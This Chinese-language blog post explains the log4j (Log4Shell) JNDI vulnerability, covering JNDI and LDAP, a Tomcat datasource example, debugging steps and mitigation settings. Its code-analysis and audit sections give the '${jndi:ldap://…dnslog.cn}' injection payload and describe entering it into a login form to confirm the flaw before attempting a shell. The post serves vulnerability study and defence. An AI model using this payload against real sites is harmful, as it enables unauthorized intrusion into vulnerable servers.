0x00 原理分析
log4j的介紹:
log4j是java打印輸出日誌的一個API,只要引入了log4j的jar包或者是在xml配置文件內配置好log4j即可輸入java運行時產生的日誌內容,一般用於記錄網站的日誌信息,比如用戶登錄、修改用戶信息等sql查詢操作。列如,在下圖中,啓動web服務,在lib目錄下引入log4j的jar包(API工具包),當用戶進行登錄時,就能獲取到用戶的操作日誌,如登錄查詢數據庫內的某個表:
當用戶輸入賬號密碼時,log4j會打印其debug日誌信息,包含賬號密碼等(這裏存在一個信息泄露的風險)
jndi的介紹:
全稱:然後介紹一下jndi這個的含義:jndi(Java Naming and Directory Interface)看英文意思就明白,是java的命名和目錄接口。
用法:jndi:協議://目錄(遠程服務器的資源),以jndi爲分界線,冒號後面的內容是jndi傳入的內容,可以這樣理解,jndi啥也不是,只是一種規範而已,
比如log4j的logger.error()方法,他是先執行的logger.error方法,然後再到lookup方法的,當傳入lookup方法的時候,jndi已經被去掉了,只讀取了後面的協議+目錄。
而在jdbc裏,是tomcat創建的上下文去調用的lookup方法,目錄的規範就是jndi的規範格式。
一種協議規範:
實戰理解:這裏需要淺談一下jndi的使用,配置了很久,實戰終於理解了jndi的含義。他原本的作用是規範,比如用數據庫連接規範等,就是通過配置,讓tomcat提供一個上下文context對象,這個對象可以通過lookup方法設置好目錄(而怎麼設置目錄這裏,就是jndi提供的一種規範格式),然後建立與數據庫的連接。
(1)servlet代碼:
package com.example.day45_jndi; import java.io.*; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import javax.naming.Context; import javax.naming.InitialContext; import javax.servlet.http.*; import javax.servlet.annotation.*; import javax.sql.DataSource; @WebServlet("/test") public class HelloServlet extends HttpServlet { @Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException { try { Context initContext = new InitialContext(); DataSource ds = (DataSource)initContext.lookup("java:comp/env/jdbc/day38"); Connection conn = ds.getConnection();//容易出錯,這裏要進行導包操作,導入數據庫與java的驅動包 resp.getWriter().println(conn);; PreparedStatement ps = conn.prepareStatement("select * from tb_user"); ResultSet rs = ps.executeQuery(); resp.getWriter().println(rs.next()); resp.getWriter().println(rs.getString(1)); resp.getWriter().println(rs.getString(2)); resp.getWriter().println(rs.getString(3)); rs.close(); conn.close(); } catch (Exception e) { e.printStackTrace(); } } }
(2)tomcat的conf目錄下的context.xml配置增加:
<Resource name="jdbc/day38" auth="Container" type="javax.sql.DataSource" maxActive="100" maxIdle="30" maxWait="10000" username="root" password="root" driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/day38" />
(3)web.xml的配置:
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <welcome-file-list> <welcome-file>index.html</welcome-file> </welcome-file-list> <resource-ref> <res-ref-name>jdbc/mysql</res-ref-name> <res-type>javax.sql.DataSource</res-type> <res-auth>Container</res-auth> </resource-ref> </web-app>
(4)容易出錯的點:需要導入一個jar包:可以直接在pom.xml中新增依賴
<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.22</version> </dependency>
(5)實現的效果:獲取數據庫的連接對象及執行sql語句進行查詢操作:
(6)總結:主要的用法,創建tomcat容器的上下文context,然後通過這個上下文根據目錄去實例化一個數據庫連接源的對象,再通過這個數據源去創建數據庫連接:這裏的lookup方法主要就是根據目錄去實例化對象用的:
Context initContext = new InitialContext(); DataSource ds = (DataSource)initContext.lookup("java:comp/env/jdbc/day38"); Connection conn = ds.getConnection();//容易出錯
總結+1:所以可以這樣理解,jndi是一種命名方式,是一種規範,提供給lookup方法或其他方法使用。他不止是可以訪問jdbc的目錄與服務,還可以訪問的現有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA等
ldap的介紹:
全稱:LDAP全稱是Lightweight Directory Access Protocol,輕量目錄訪問協議。顧名思義,LDAP是設計用來訪問目錄數據庫的一個標準而已。
一種協議:來到ldap就變得更加簡單,ldap是一種協議,與rmi的協議類似。都是通過去遠程服務器上加載java序列化或反序列化後的對象,然後實例化對象後,方便程序猿在本地調用那個對象的方法。
使用場景:觸發Lookup插件的場景是使用:${},如上述的${java:version} 表示使用Java的Lookup插件,傳入值爲version然後返回對應的結果,而此處的${jndi:ldap://ip:port} 則同理表示調用Jndi的Lookup傳入值爲 ldap://ip:port 。
0x01 效果演示
0x02 代碼分析
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; public class log4jRCE { private static final Logger logger = LogManager.getLogger(log4jRCE.class); public static void main(String[] args) { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); logger.error("${jndi:ldap://5xxxx.dnslog.cn}"); logger.error("${java:os}"); } }
分析的快捷鍵:
jndi的命名格式,調用方法爲lookup。使用快捷鍵:ctrl+shift+alt+n(我發現好多文章都不寫他們怎麼調試的,看得頭暈眼花,這裏標註出來大家可以快速上手),快速查找類中的方法:lookup()
然後在此方法處設置斷點:debug模式運行java代碼:
發現確實存在調用lookup方法:
然後調用的lookup方法就會去請求dnslog。(那爲什麼lookup方法會去請求dnslog呢,代碼的分析又是怎麼樣的呢,這裏下篇文章再繼續分析。)
0x03 實戰審計
(1)問題引入:假設我們要黑盒測試log4j漏洞,那首先在不知道網站是否使用了log4j組件的情況下,我們可以測試登錄框:
如下圖所示,在登錄框輸入:登錄名:${jndi:ldap://xxxx.dnslog.cn}、密碼隨意、驗證碼輸入。
如果響應速度特別慢,就有可能是存在log4j rce,這時先用dnslog進行探測:
響應速度特別漫長,存在漏洞的可能性增加:
發現dnslog存在回顯。然後就可以嘗試用其他方法getshell了。
(2)這裏我們進入代碼進行審計分析:存在兩處,主要是全局搜索使用了這兩個包的servlet接口,然後查看是否使用了looger.error()方法即可。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
0x04 防禦措施
1、採用最新版本的log4j組件
2、惡意流量中可能存在jndi:ladp:// jdni:rmi,IDS和WAF可以編寫相應規則從流量中籤出攻擊流量;
3、添加jvm啓動參數-Dlog4j2.formatMsgNoLookups=true
4、修改配置文件log4j2.formatMsgNoLookups=True
5、修改環境變量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置爲true
6、關閉不必要的外網請求;
7、禁用lookup或JNDI服務;
8、jdk升級到最新的版本;
0x05 參考文獻
https://blog.csdn.net/philip502/article/details/122255346